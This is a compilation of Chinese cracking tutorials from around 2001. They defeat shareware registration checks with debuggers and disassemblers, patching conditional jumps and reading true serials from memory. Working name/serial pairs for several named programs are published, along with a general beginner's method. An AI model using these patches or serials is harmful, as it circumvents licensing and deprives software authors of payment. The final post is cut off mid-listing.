:005788C3 BA7C8A5700 mov edx, 00578A7C
:005788C8 E827E5EDFF call 00456DF4
:005788CD A190E85700 mov eax, dword ptr [0057E890]
:005788D2 8B00 mov eax, dword ptr [eax]
:005788D4 E87BC5FEFF call 00564E54
:005788D9 84C0 test al, al
:005788DB 7432 je 0057890F---------》这里就是判断是否
进入主程序的
所以改成jmp 0057890F
(即EB32)
:005788DD 8B0D90E85700 mov ecx, dword ptr [0057E890]
:005788E3 8B03 mov eax, dword ptr [ebx]

* Possible StringData Ref from Code Obj ->"鵆"
|
:005788E5 8B1544435600 mov edx, dword ptr [00564344]
:005788EB E818E9EDFF call 00457208
:005788F0 8B0DECE55700 mov ecx, dword ptr [0057E5EC]
:005788F6 8B03 mov eax, dword ptr [ebx]

* Possible StringData Ref from Code Obj ->"鵆"
|
:005788F8 8B15503B5600 mov edx, dword ptr [00563B50]
:005788FE E805E9EDFF call 00457208
:00578903 8B03 mov eax, dword ptr [ebx]
:00578905 E87EE9EDFF call 00457288
:0057890A E942010000 jmp 00578A51

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005788DB(C)
|
:0057890F E884A1E8FF call 00402A98
:00578914 85C0 test eax, eax
:00578916 7E3B jle 00578953
:00578918 8D55F0 lea edx, dword ptr [ebp-10]
:0057891B B801000000 mov eax, 00000001
:00578920 E8D3A1E8FF call 00402AF8
:00578925 8B45F0 mov eax, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"-toweb"
|
:00578928 BA988A5700 mov edx, 00578A98
:0057892D E866B8E8FF call 00404198
:00578932 751F jne 00578953
:00578934 8B0DECE65700 mov ecx, dword ptr [0057E6EC]
:0057893A 8B03 mov eax, dword ptr [ebx]

* Possible StringData Ref from Code Obj ->"鵆"
|
:0057893C 8B1590A55600 mov edx, dword ptr [0056A590]
:00578942 E8C1E8EDFF call 00457208
:00578947 8B03 mov eax, dword ptr [ebx]
:00578949 E83AE9EDFF call 00457288
:0057894E E9FE000000 jmp 00578A51

程序可以进了，可是没有注册号就是不爽，好吧！跟我来：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00563EF5(C)
|
:00563F60 1400 adc al, 00
:00563F62 0000 add byte ptr [eax], al
:00563F64 CE into
:00563F65 D2D7 rcl bh, cl
:00563F67 D4BA aam (base186)
:00563F69 C0A3ACCED2D2D1 shl byte ptr [ebx+D2D2CEAC], D1
:00563F70 BEADD7A2B2 mov esi, B2A2D7AD
:00563F75 E1A3 loopz 00563F1A
:00563F77 A100000000 mov eax, dword ptr [00000000]
:00563F7C 55 push ebp
:00563F7D 8BEC mov ebp, esp
:00563F7F 33C9 xor ecx, ecx
:00563F81 51 push ecx
:00563F82 51 push ecx
:00563F83 51 push ecx
:00563F84 51 push ecx
:00563F85 51 push ecx
:00563F86 51 push ecx
:00563F87 51 push ecx
:00563F88 51 push ecx
:00563F89 53 push ebx
:00563F8A 56 push esi
:00563F8B 8BD8 mov ebx, eax
:00563F8D 33C0 xor eax, eax
:00563F8F 55 push ebp
:00563F90 680F415600 push 0056410F
:00563F95 64FF30 push dword ptr fs:[eax]
:00563F98 648920 mov dword ptr fs:[eax], esp
:00563F9B 8D55FC lea edx, dword ptr [ebp-04]
:00563F9E 8B83E4020000 mov eax, dword ptr [ebx+000002E4]
:00563FA4 E8E74BEDFF call 00438B90
:00563FA9 837DFC00 cmp dword ptr [ebp-04], 00000000-----比较姓名是否为空
:00563FAD 7518 jne 00563FC7-------------不为空就跳走
:00563FAF 6A30 push 00000030
:00563FB1 681C415600 push 0056411C

* Possible StringData Ref from Code Obj ->"请输入姓名！"
|
:00563FB6 6824415600 push 00564124
:00563FBB 6A00 push 00000000

* Reference To: user32.MessageBoxA, Ord:0000h
|
:00563FBD E8AA3BEAFF Call 00407B6C
:00563FC2 E908010000 jmp 005640CF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00563FAD(C)
|
:00563FC7 8D55F8 lea edx, dword ptr [ebp-08]
:00563FCA 8B83E8020000 mov eax, dword ptr [ebx+000002E8]
:00563FD0 E8BB4BEDFF call 00438B90
:00563FD5 8B45F8 mov eax, dword ptr [ebp-08]
:00563FD8 50 push eax
:00563FD9 8D55F0 lea edx, dword ptr [ebp-10]
:00563FDC 8B83E4020000 mov eax, dword ptr [ebx+000002E4]
:00563FE2 E8A94BEDFF call 00438B90
:00563FE7 8B45F0 mov eax, dword ptr [ebp-10]
:00563FEA 8D55F4 lea edx, dword ptr [ebp-0C]
:00563FED E8A299FFFF call 0055D994
:00563FF2 8B55F4 mov edx, dword ptr [ebp-0C]-----这几处好眼熟，没错！
:00563FF5 58 pop eax------------------------D一下就可以看到真的
:00563FF6 E89D01EAFF call 00404198------------------注册码
:00563FFB 0F85CE000000 jne 005640CF-------------------
:00564001 8D45EC lea eax, dword ptr [ebp-14]
:00564004 E84396FFFF call 0055D64C
:00564009 8D45EC lea eax, dword ptr [ebp-14]

* Possible StringData Ref from Code Obj ->"\win.ini"
|
:0056400C BA3C415600 mov edx, 0056413C
:00564011 E87A00EAFF call 00404090
:00564016 8B4DEC mov ecx, dword ptr [ebp-14]
:00564019 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"\3G"
|
:0056401B A1EC2B4700 mov eax, dword ptr [00472BEC]
:00564020 E817EDF0FF call 00472D3C
:00564025 A3C8135800 mov dword ptr [005813C8], eax
:0056402A 8D55E8 lea edx, dword ptr [ebp-18]
:0056402D 8B83E4020000 mov eax, dword ptr [ebx+000002E4]
:00564033 E8584BEDFF call 00438B90
:00564038 8B45E8 mov eax, dword ptr [ebp-18]
:0056403B 50 push eax

* Possible StringData Ref from Code Obj ->"name"
|
:0056403C B950415600 mov ecx, 00564150

* Possible StringData Ref from Code Obj ->"magct"
|
:00564041 BA60415600 mov edx, 00564160
:00564046 A1C8135800 mov eax, dword ptr [005813C8]
:0056404B 8B30 mov esi, dword ptr [eax]
:0056404D FF5604 call [esi+04]
:00564050 8D55E4 lea edx, dword ptr [ebp-1C]
:00564053 8B83E8020000 mov eax, dword ptr [ebx+000002E8]
:00564059 E8324BEDFF call 00438B90
:0056405E 8B45E4 mov eax, dword ptr [ebp-1C]
:00564061 50 push eax

* Possible StringData Ref from Code Obj ->"code"
|
:00564062 B970415600 mov ecx, 00564170

* Possible StringData Ref from Code Obj ->"magct"
|
:00564067 BA60415600 mov edx, 00564160
:0056406C A1C8135800 mov eax, dword ptr [005813C8]
:00564071 8B30 mov esi, dword ptr [eax]
:00564073 FF5604 call [esi+04]
:00564076 A1C8135800 mov eax, dword ptr [005813C8]
:0056407B E810F0E9FF call 00403090

* Possible StringData Ref from Code Obj ->"关闭"
|
:00564080 BA80415600 mov edx, 00564180
:00564085 8B83F4020000 mov eax, dword ptr [ebx+000002F4]
:0056408B E8304BEDFF call 00438BC0
:00564090 33D2 xor edx, edx
:00564092 8B83F0020000 mov eax, dword ptr [ebx+000002F0]
:00564098 8B08 mov ecx, dword ptr [eax]
:0056409A FF515C call [ecx+5C]
:0056409D 6A40 push 00000040

* Possible StringData Ref from Code Obj ->"魔法转换"
|
:0056409F 6888415600 push 00564188
:005640A4 8D55E0 lea edx, dword ptr [ebp-20]
:005640A7 8B83E4020000 mov eax, dword ptr [ebx+000002E4]
:005640AD E8DE4AEDFF call 00438B90
:005640B2 8D45E0 lea eax, dword ptr [ebp-20]

* Possible StringData Ref from Code Obj ->"，恭喜你成功注册！"
|
:005640B5 BA9C415600 mov edx, 0056419C
:005640BA E8D1FFE9FF call 00404090
:005640BF 8B45E0 mov eax, dword ptr [ebp-20]
:005640C2 E88501EAFF call 0040424C
:005640C7 50 push eax
:005640C8 6A00 push 00000000

于是得到
name=lb[CCG]
code=069002CA017C

后记：
该软件的注册码放在WINDOWS目录下的WIN.INI里面

由于没时间了，对软件是否完全破完我没有测试。请高手指教

.---._ ___
--===^ ~-......---.==\\\
/' _/-/ \ )))
`-~~ \ , ___\ ) ((
/ /---~~ \(`\( ))
</'|; .---" \>
| | " |
`" ; ;
X man or lb[BCG][CCG]
QQ:9832285
E-mail:lbcool@elong.com
2001.10.28 17：50


聊天圣手之增强版2.0 For OICQ2000

 标 题:morning伸请加入BCG破文之三 (6千字)
发信人:★morning★
时 间:2001-9-11 22:28:08
详细信息:
morning伸请加入BCG破文之三

目标软件：聊天圣手之增强版2.0 For OICQ2000 作者主页：HeadTec.MyEtang.com

实验工具：TRW1.23

这个软件是用来聊天的，不注册的话发50条信息就不行了。
实验过程：
1。启动聊天圣手，点注册
2。在注册名处填morning，注册码：12345678
3。启动TRW1.23,按CTRL+N 呼出TRW,下BPX HMEMCPY,F5返回目标,按下注册，被TRW拦下
4。按F10无数，直到下面：

015F:0040658E AND ECX,BYTE +01
015F:00406591 MOV EDX,02
015F:00406596 PUSH ECX
015F:00406597 DEC DWORD [EBP-30]
015F:0040659A CALL 0047BA4C 〈-----④呵呵~~秘密一定是在这个CALL里啦，按F9，然后再注册一次
015F:0040659F DEC DWORD [EBP-30] 在这里拦下后按F8进入，代码在下面
015F:004065A2 LEA EAX,[EBP-10]
015F:004065A5 MOV EDX,02
015F:004065AA CALL 0047BA4C
015F:004065AF POP ECX 〈-------------③哦，有个POP所以上面的CALL就不进啦
015F:004065B0 TEST CL,CL 《----------②呵呵~~有个判断，再向上看
015F:004065B2 JZ NEAR 00406708 〈-------另：把里改成JNZ可以出现成功对话框，但实际上
015F:004065B8 MOV DL,01 并没有成功，大概是另有暗桩，所以在这里用
015F:004065BA MOV EAX,[004216F8] 爆破法不可取。
015F:004065BF CALL 004217F8
015F:004065C4 MOV EBX,EAX
015F:004065C6 MOV EAX,[EBP-50]
015F:004065C9 MOV [EAX+0310],EBX
015F:004065CF MOV EAX,EBX
015F:004065D1 MOV EDX,80000002
015F:004065D6 CALL 0047B81C
015F:004065DB MOV WORD [EBP-3C],38
015F:004065E1 MOV EDX,0047FC93
015F:004065E6 LEA EAX,[EBP-18]
015F:004065E9 CALL 0047B8A8
015F:004065EE INC DWORD [EBP-30]
015F:004065F1 MOV CL,01
015F:004065F3 MOV EDX,[EAX]
015F:004065F5 MOV EAX,[EBP-50]
015F:004065F8 MOV EAX,[EAX+0310]
015F:004065FE CALL 004218FC
015F:00406603 DEC DWORD [EBP-30]
015F:00406606 LEA EAX,[EBP-18]
015F:00406609 MOV EDX,02
015F:0040660E CALL 0047BA4C
015F:00406613 XOR ECX,ECX
015F:00406615 MOV [EBP-20],ECX
015F:00406618 LEA EDX,[EBP-20]
015F:0040661B INC DWORD [EBP-30]
015F:0040661E MOV EAX,[EBP-50]
015F:00406621 MOV EAX,[EAX+02E0]
015F:00406627 CALL 0044EE04
015F:0040662C LEA EDX,[EBP-20]
015F:0040662F LEA EAX,[EBP-1C]
015F:00406632 MOV ECX,[EDX]
015F:00406634 MOV EDX,0047FCB4
015F:00406639 PUSH ECX
015F:0040663A MOV WORD [EBP-3C],44
015F:00406640 CALL 0047B8A8
015F:00406645 INC DWORD [EBP-30]
015F:00406648 MOV EDX,[EAX]
015F:0040664A MOV EAX,[EBP-50]
015F:0040664D MOV EAX,[EAX+0310]
015F:00406653 POP ECX
015F:00406654 CALL 00421A98
015F:00406659 DEC DWORD [EBP-30]
015F:0040665C LEA EAX,[EBP-20]
015F:0040665F MOV EDX,02
015F:00406664 CALL 0047BA4C
015F:00406669 DEC DWORD [EBP-30]
015F:0040666C LEA EAX,[EBP-1C]
015F:0040666F MOV EDX,02
015F:00406674 CALL 0047BA4C
015F:00406679 XOR ECX,ECX
015F:0040667B MOV [EBP-28],ECX
015F:0040667E LEA EDX,[EBP-28]
015F:00406681 INC DWORD [EBP-30]
015F:00406684 MOV EAX,[EBP-50]
015F:00406687 MOV EAX,[EAX+02E8]
015F:0040668D CALL 0044EE04
015F:00406692 LEA EDX,[EBP-28]
015F:00406695 LEA EAX,[EBP-24]
015F:00406698 MOV ECX,[EDX]
015F:0040669A MOV EDX,0047FCBE
015F:0040669F PUSH ECX
015F:004066A0 MOV WORD [EBP-3C],50
015F:004066A6 CALL 0047B8A8
015F:004066AB INC DWORD [EBP-30]
015F:004066AE MOV EDX,[EAX]
015F:004066B0 MOV EAX,[EBP-50]
015F:004066B3 MOV EAX,[EAX+0310]
015F:004066B9 POP ECX
015F:004066BA CALL 00421A98
015F:004066BF DEC DWORD [EBP-30]
015F:004066C2 LEA EAX,[EBP-28]
015F:004066C5 MOV EDX,02
015F:004066CA CALL 0047BA4C
015F:004066CF DEC DWORD [EBP-30]
015F:004066D2 LEA EAX,[EBP-24]
015F:004066D5 MOV EDX,02
015F:004066DA CALL 0047BA4C
015F:004066DF MOV ECX,[EBP-50]
015F:004066E2 MOV EAX,[ECX+0310]
015F:004066E8 CALL 00421868
015F:004066ED MOV EAX,[00486608]
015F:004066F2 PUSH BYTE +00
015F:004066F4 MOV ECX,0047FCC9
015F:004066F9 LEA EDX,[EBP+FFFFFDA8]
015F:004066FF MOV EAX,[EAX]
015F:00406701 CALL 0047B7E4
015F:00406706 JMP SHORT 00406720
015F:00406708 MOV EAX,[00486608]
015F:0040670D PUSH BYTE +00
015F:0040670F MOV ECX,0047FCFB
015F:00406714 MOV EDX,0047FCD8
015F:00406719 MOV EAX,[EAX]
015f:00406719 CALL 0047B7E4 《--------------①⑦⑧⑨⑩到这里就完了，所以就向上找
================================================================================
在015F:0040659A CALL 0047BA4C 处进入后看到：
-------------------------------------------------------------------------------
015F:0047BA4C PUSH EBP
015F:0047BA4D MOV EBP,ESP
015F:0047BA4F PUSH ECX
015F:0047BA50 PUSH EBX
015F:0047BA51 PUSH ESI
015F:0047BA52 MOV ESI,EDX
015F:0047BA54 MOV [EBP-04],EAX
015F:0047BA57 CMP DWORD [EBP-04],BYTE +00
015F:0047BA5B JZ 0047BA76
015F:0047BA5D MOV EAX,[EBP-04]
015F:0047BA60 CALL 0046DE98 〈---------⑤在这里下断点，再注册一次，来到这里后F8进入，代码在下面
015F:0047BA65 TEST ESI,01《------------④？这里还有个测试？？进上面的CALL里看看
015F:0047BA6B JZ 0047BA76
015F:0047BA6D PUSH DWORD [EBP-04]
015F:0047BA70 CALL 0046FB0C
015F:0047BA75 POP ECX
015F:0047BA76 POP ESI
015F:0047BA77 POP EBX
015F:0047BA78 POP ECX
015F:0047BA79 POP EBP
——————————————————————————————————————————
在015F:0047BA60 CALL 0046DE98 处进入后看到：
####################################################################################
015F:0046DE98 MOV EDX,[EAX]
015F:0046DE9A TEST EDX,EDX 〈-------⑥在这里下D EDX，呵呵~~这就是想要的东东啦~~
015F:0046DE9C JZ 0046DEBA
015F:0046DE9E MOV DWORD [EAX],00
015F:0046DEA4 MOV ECX,[EDX-08]
015F:0046DEA7 DEC ECX
015F:0046DEA8 JL 0046DEBA
015F:0046DEAA LOCK DEC DWORD [EDX-08]
015F:0046DEAE JNZ 0046DEBA
015F:0046DEB0 PUSH EAX
015F:0046DEB1 LEA EAX,[EDX-08]
015F:0046DEB4 CALL 0046CDEC
015F:0046DEB9 POP EAX
###################################################################################
=====================================================================================

总结：这个东东用了两层CALL所以在破时易使人迷失方向，呵呵~~本人就被它骗了好长时间。本来
想用它写第一篇的，结果在写第三篇时才破了它。


命理研究 1.01

 标 题:这个软件是有点麻烦！ (2千字)
发信人:xiaqin[CCG]
时 间:2001-10-28 21:42:21
详细信息:
版 本：<命理研究>1.01
软件简介：<命理研究>是本站继<通天宝座>之后推出的又一力作。本软件集目前较为流行的几种算命方式如八字、紫微、星座、秤骨等为一身的综合性的分析软件。
破解工具：Trw2000 1.22
.....................
0167:1001A0C7 MOV EAX,[ESI+B0]
0167:1001A0CD TEST EAX,EAX
0167:1001A0CF JNZ 1001A0DC
0167:1001A0D1 LEA EAX,[ESI+40]
0167:1001A0D4 MOV ECX,ESI
0167:1001A0D6 PUSH EAX
0167:1001A0D7 CALL 1008AA01
0167:1001A0DC MOV EDX,[ESP+20]
0167:1001A0E0 MOV ECX,[ESI+40] <=依次载入注册名、机器码、注册号。
0167:1001A0E3 MOV EAX,01
0167:1001A0E8 POP ESI
0167:1001A0E9 MOV [EDX],ECX
0167:1001A0EB MOV ECX,[ESP+04]
0167:1001A0EF MOV [FS:00],ECX
0167:1001A0F6 ADD ESP,BYTE +10

当走到0167:1001A0E0 MOV ECX,[ESI+40]时可以看到是程序再此来回走了4回。分别依次载入注册名、机器码、注册号。当看到为输入的注册号时，按F10来到下面。
..............
0167:10069CDE MOV ECX,[ESP+48]
0167:10069CE2 MOV EDX,[ESP+40]
0167:10069CE6 MOV EAX,ECX
0167:10069CE8 NEG EAX
0167:10069CEA SBB EAX,EAX
0167:10069CEC AND EBX,BYTE +01
0167:10069CEF AND EAX,EDX
0167:10069CF1 MOV EDX,[ESP+90]
0167:10069CF8 PUSH EBX
0167:10069CF9 PUSH EDX
0167:10069CFA PUSH BYTE +01
0167:10069CFC PUSH BYTE +00
0167:10069CFE PUSH ECX
0167:10069CFF MOV ECX,[ESP+24]
0167:10069D03 PUSH EAX
0167:10069D04 LEA EAX,[ESP+2C]
0167:10069D08 PUSH EBP
0167:10069D09 PUSH EAX
0167:10069D0A CALL 100725D0 <=按F8进入Call.
0167:10069D0F TEST EAX,EAX
0167:10069D11 JZ NEAR 10069F3B (NO JUMP)
0167:10069D17 MOV EDX,[ESP+E0]
0167:10069D1E MOV EAX,[ESP+4C]
0167:10069D22 MOV EBX,[ESP+10]
0167:10069D26 MOV ESI,[ESP+8C]
0167:10069D2D ADD EDX,EDI
0167:10069D2F INC EBP
0167:10069D30 INC EAX
0167:10069D31 MOV [ESP+E0],EDX
0167:10069D38 MOV [ESP+4C],EAX
0167:10069D3C MOV EDI,EAX
0167:10069D3E MOV EAX,[ESP+34]
0167:10069D42 JMP 10069BA2
0167:10069D47 CMP EBP,ESI
0167:10069D49 JNL 10069D6F

.....................
来到这里。

0167:10072650 PUSH ECX
0167:10072651 LEA ECX,[ESP+1C]
0167:10072655 PUSH EDX
0167:10072656 PUSH ECX
0167:10072657 PUSH EAX
0167:10072658 PUSH ESI
0167:10072659 MOV ECX,EBP
0167:1007265B CALL 1006BDD0
0167:10072660 MOV CL,[ESI+04] <=设此为中断。按F4三次。D eax就是真注册码。
0167:10072663 MOV [ESP+1C],EAX
0167:10072667 TEST CL,40
0167:1007266A JZ 1007267E
0167:1007266C MOV EDX,[EAX+04]
0167:1007266F MOV EBX,01
0167:10072674 MOV [ESP+18],EDX

使用者：CCG
机器号：60007
注册号：zq425462792


魔法转换 v2.5

 标 题:申请加入CNCG破文 (7千字)
发信人:随风而去
时 间:2001-11-13 14:57:22
详细信息:
    大家好！我是一辆德国JS型坦克，战争使我无家可归，在网上四处流浪。终于有一天我看见CNCG，我终于
找到自己的归宿了！
    本来这个软件我只把它给爆了，后来经LILITH[CNCG]提议，决定深入一层，跟出它的注册码，结果不负LI
LITH[CNCG]所望，把它跟出来了！

    内容:
    魔法转换 v2.5 正式版破解

***********
写一篇破解过程,错误不少,还望包涵,贻笑大方了.
***********

    作者:随风而去
    时间:10:55 01-11-13
保护机制：姓名/注册码
    破解工具:TRW2000 1.22 W32DASM3 8.93 fi Caspr
难度:☆

软件下载地址:http://www.csdn.net/soft/openfile.asp?kind=1&id=13158
软件简介：
功能强大的图像转换工具。包括图像浏览、批量转换、图像增强及作品预览四大部分。
图像增强包括调整图像大小、调整层次、旋转、镜象，还有锐化、模糊、马塞克、
浮雕、底片、旋涡、喷雾等效果。你可以将这些效果自定义成方案，然后再进行批量转换。
而且它还支持拖入文件到批量转换列表。它的输出格式为：bmp、jpg、gif、png、tif、
wmf、emf、tga、ico，还包括txt、rtf、htm、mmc等特效格式。特效格式包括正常模式、
缩小一倍、缩小两倍、原图大小、彩字单一、彩字规律。同时它还能方便的将图像生成.EXE可执行文件。

软件大小:1078K
*************************************************************************************************
是时候开工了!!!!

1、用fi看它用了什么壳，发现其使用了Aspack加壳，用unAspack脱之.

    2、脱壳后用w32dsm89反编译，查找字符串，“，恭喜你成功注册！”

    双击“，恭喜你成功注册！”这个字符串，显示如下内容：
:0055B7B5 837DFC00 cmp dword ptr [ebp-04], 00000000《－－－判断是否有用户明
:0055B7B9 7518 jne 0055B7D3
:0055B7BB 6A30 push 00000030
:0055B7BD 6828B95500 push 0055B928

* Possible StringData Ref from Code Obj ->"请输入姓名！"
|
:0055B7C2 6830B95500 push 0055B930
:0055B7C7 6A00 push 00000000

* Reference To: user32.MessageBoxA, Ord:0000h
|
:0055B7C9 E89EC3EAFF Call 00407B6C
:0055B7CE E908010000 jmp 0055B8DB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0055B7B9(C)
|
:0055B7D3 8D55F8 lea edx, dword ptr [ebp-08]
:0055B7D6 8B83E8020000 mov eax, dword ptr [ebx+000002E8]
:0055B7DC E8AFD3EDFF call 00438B90
:0055B7E1 8B45F8 mov eax, dword ptr [ebp-08]
:0055B7E4 50 push eax《－－－假码!
:0055B7E5 8D55F0 lea edx, dword ptr [ebp-10]
:0055B7E8 8B83E4020000 mov eax, dword ptr [ebx+000002E4]
:0055B7EE E89DD3EDFF call 00438B90
:0055B7F3 8B45F0 mov eax, dword ptr [ebp-10]
:0055B7F6 8D55F4 lea edx, dword ptr [ebp-0C]
:0055B7F9 E8464B0000 call 00560344
:0055B7FE 8B55F4 mov edx, dword ptr [ebp-0C]
:0055B801 58 pop eax《－－－真码!
:0055B802 E89189EAFF call 00404198《－－－对比真假码的call，关键!
:0055B807 0F85CE000000 jne 0055B8DB《－－－一条就死!
:0055B80D 8D45EC lea eax, dword ptr [ebp-14]
:0055B810 E82F480000 call 00560044
:0055B815 8D45EC lea eax, dword ptr [ebp-14]

* Possible StringData Ref from Code Obj ->"\win.ini"《－－－注册码会放到win.ini中
|
:0055B818 BA48B95500 mov edx, 0055B948
:0055B81D E86E88EAFF call 00404090
:0055B822 8B4DEC mov ecx, dword ptr [ebp-14]
:0055B825 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"?G"
|
:0055B827 A18C364700 mov eax, dword ptr [0047368C]
:0055B82C E8AB7FF1FF call 004737DC
:0055B831 A370425800 mov dword ptr [00584270], eax
:0055B836 8D55E8 lea edx, dword ptr [ebp-18]
:0055B839 8B83E4020000 mov eax, dword ptr [ebx+000002E4]
:0055B83F E84CD3EDFF call 00438B90
:0055B844 8B45E8 mov eax, dword ptr [ebp-18]
:0055B847 50 push eax

* Possible StringData Ref from Code Obj ->"name"
|
:0055B848 B95CB95500 mov ecx, 0055B95C

* Possible StringData Ref from Code Obj ->"magct"
|
:0055B84D BA6CB95500 mov edx, 0055B96C
:0055B852 A170425800 mov eax, dword ptr [00584270]
:0055B857 8B30 mov esi, dword ptr [eax]
:0055B859 FF5604 call [esi+04]
:0055B85C 8D55E4 lea edx, dword ptr [ebp-1C]
:0055B85F 8B83E8020000 mov eax, dword ptr [ebx+000002E8]
:0055B865 E826D3EDFF call 00438B90
:0055B86A 8B45E4 mov eax, dword ptr [ebp-1C]
:0055B86D 50 push eax

* Possible StringData Ref from Code Obj ->"code"
|
:0055B86E B97CB95500 mov ecx, 0055B97C

* Possible StringData Ref from Code Obj ->"magct"
|
:0055B873 BA6CB95500 mov edx, 0055B96C
:0055B878 A170425800 mov eax, dword ptr [00584270]
:0055B87D 8B30 mov esi, dword ptr [eax]
:0055B87F FF5604 call [esi+04]
:0055B882 A170425800 mov eax, dword ptr [00584270]
:0055B887 E80478EAFF call 00403090

* Possible StringData Ref from Code Obj ->"关闭"
|
:0055B88C BA8CB95500 mov edx, 0055B98C
:0055B891 8B83F4020000 mov eax, dword ptr [ebx+000002F4]
:0055B897 E824D3EDFF call 00438BC0
:0055B89C 33D2 xor edx, edx
:0055B89E 8B83F0020000 mov eax, dword ptr [ebx+000002F0]
:0055B8A4 8B08 mov ecx, dword ptr [eax]
:0055B8A6 FF515C call [ecx+5C]
:0055B8A9 6A40 push 00000040

* Possible StringData Ref from Code Obj ->"魔法转换"
|
:0055B8AB 6894B95500 push 0055B994
:0055B8B0 8D55E0 lea edx, dword ptr [ebp-20]
:0055B8B3 8B83E4020000 mov eax, dword ptr [ebx+000002E4]
:0055B8B9 E8D2D2EDFF call 00438B90
:0055B8BE 8D45E0 lea eax, dword ptr [ebp-20]

* Possible StringData Ref from Code Obj ->"，恭喜你成功注册！"
|
:0055B8C1 BAA8B95500 mov edx, 0055B9A8《－－－双击后停在这里
:0055B8C6 E8C587EAFF call 00404090
:0055B8CB 8B45E0 mov eax, dword ptr [ebp-20]
:0055B8CE E87989EAFF call 0040424C
:0055B8D3 50 push eax
:0055B8D4 6A00 push 00000000
  双击后看到注册成功的call，于是向上看，发现:0055B807处如果跳转就会跳过注册成功窗口，
ok问题就在它，在看看上面，
3、现在用TRW.1.22时间了
      首先随便输入任意注册信息：
      姓名：blackleaf
      注册码：1212121212
启动TRW2000，点确定后用Ctrl+N呼叫出来，然后下bpx 0055B802
再d edx
    可以收工了!

    这里给出我的注册码
      姓名：blackleaf
      注册码：M0C6A02889C6

    感谢LILITH[CNCG]给我精神上的支持!


木瓜破解入门教程——傻瓜篇

 标 题:木瓜破解入门教程——傻瓜篇（第一课） (2千字)
发信人:木瓜多瑙河[BCG]
时 间:2001-10-30 19:35:49
详细信息:
追注册码篇
大家好！！这是俺在15岁生日里，送给广大的破解爱好者的最易懂的破解材料！！！！！！
本篇教程乃是《木瓜破解入门教程——傻瓜篇》的第一课，以后将以连载方式出现。他与以前的木瓜破解教程所不同的是，这次都将由我这位菜鸟中的菜鸟自己编写，而不是将别人的教程整理加以编辑！！！
开始上课！！！！
首先要介绍我们今天上课所要用到的工具：
1.WinHex 9.92 SR-4 注册版(推荐)
下载地址:http://newhua.ruyi.com/down/HAC-WinHex992SR4-fy.exe
2.TRW2000 1.22中文注册版
下载地址:http://person.longcity.net/home0/crackhome/ptrw1.22.zip
之所以推荐WinHex是因为对于我们这些菜鸟来说,TRW2000和Softice对于我们来说还是有点困难,有时更本不知道那注册码到底在哪里?该怎么看?作为中国人因此在此只介绍TRW2000的通法,对于更深的内容,请自行寻找教程.我自己也不会!!:)
至于其他软件,我在此就不介绍.(我的目标:只教最简单的)

WinHex追注册码的通法(十分简单,现在这是我用的最多的方法)
步骤:
1.启动需要破解软件
2.输入用户名和注册码,然后按确定
3.弹出一个对话框(切记,不要按确定!!!!!!!!)
4.启动WinHex
5.选择Ram编辑器
6.打开你所要破的软件的Ram的主要内存(基本上是最下面那个+)
7.搜索注册码
8.如果第一次没搜到按F3搜索下一个
9.然后就可以发现注册码

注意:如果搜到最后还是没搜到,可以采取以下的方法,再试.(如果真找不到,就只能用其它软件了)
对于没有弹出对话框的软件似乎这方法没用!!!!
1.如果用注册码没搜到,就用搜用户名
2.有些软件对于中文用户名不支持,因此就使用英文用户名
3.有些软件对于注册码又长度要求,因此就使用比原先的注册码较长或较短的注册码
4.建议输入的注册码为987654321,因为如果是123456789会与机器中的一些数字重复

TRW2000追注册码的通法
1.将程式的注册对话框打开,输入你的姓名和任意的注册码(推荐用987654321)
2.按Ctrl+N呼叫出TRW2000,然后下中断(一般用bpx hmemcpy),回车,键入g,回车
3.返回注册界面,按下注册窗中的"确定"按钮.
4.如果被TRW拦到,说明刚才打的中断发挥作用了,可以继续工作.如果出现的是"注册失败"的对话框,说明TRW的中断没有作用,只有重复第二步,换个中断试试.(中断设置,看雪教程很详细,不重复)
5.键入bc*,回车,键入pmodule,回车,猛按F12键,等到出现"注册失败"的画面时,记下刚才按F12键的按数
6.第二次重复第一步至第四步,这次按(第五步记下的按数减去１)下的按数,停下来.
7.开始按F10键单独追寻,找到关键Call和关键跳转,在这个关键Call处d eax d edx,,多看看,有时就会看到注册码,出现在TRW的右上方
8.如果没找到,当然要按F8键进去关键Call观察了,继续追踪可疑Call和可疑跳转
当然如果要进入此Call,必须得再次重复第一步的行动.不要嫌麻烦,ＣＲＡＣＫ就是这样,要有耐心,才会成功.

木瓜多瑙河[BCG][CNCG][FCG]
2001.10.30
+++++++如要转贴请保持本贴的完整性++++++++


轻松试卷4.5

 标 题:轻松试卷4.5注册，等了好久，急用，只好自己来了。 (6千字)
发信人:tstone
时 间:2001-10-12 22:26:47
详细信息:
下载：http://www.shijun.com/cn/easypaper/

介

轻松试卷是一个旨在帮助老师出试卷的软件。它同市面上常见的教学软件或者多媒体软件不同，它不是针对一个年级或者一所学校的教学辅助软件，而是适用于那些要经常出试卷的老师，例如初高中老师，大学老师，单位的人事部门等。
轻松试卷本身不提供题库，而是要由您自己建立，您可以跟据自己的情况，将适合于自己使用的试题加入题库，然后，您就可以随时出试卷了。单位的人事部门也可以有自已的题库，用来对自己的职员做定期或不定期的考核。

不久，注册用户将可以直接从网上下载题库，并把它加入到自己的题库中，这样，您就可以使用他人已建立好的题库，来随时抽取试卷，而不必自已费心劳神的输入题目，做到真正的轻松。

目前，轻松试卷的主要功能有：
单机版：题库管理、抽取试卷
网络版：题库管理、抽取试卷、考试系统（网上考试）、作业系统

1、wasm893编译，找到判断语句。
:00406D25 90 nop
:00406D26 90 nop
:00406D27 90 nop
:00406D28 0400 add al, 00
:00406D2A 0000 add byte ptr [eax], al
:00406D2C 90 nop
:00406D2D 000C00 add byte ptr [eax+eax], cl
:00406D30 B875400054 mov eax, 54004075
:00406D35 52 push edx
:00406D36 656746 inc esi
:00406D39 6F outsd
:00406D3A 726D jb 00406DA9
:00406D3C 202A and byte ptr [edx], ch
:00406D3E 0090558BEC83 add byte ptr [eax+83EC8B55], dl
:00406D44 C4D8 les ebx, eax
:00406D46 B89C7D5600 mov eax, 00567D9C
:00406D4B E8581B1300 call 005388A8
:00406D50 66C745E80800 mov [ebp-18], 0008
:00406D56 C6059882570001 mov byte ptr [00578298], 01

* Possible StringData Ref from Data Obj ->"恭喜，您已注册成功！"
|
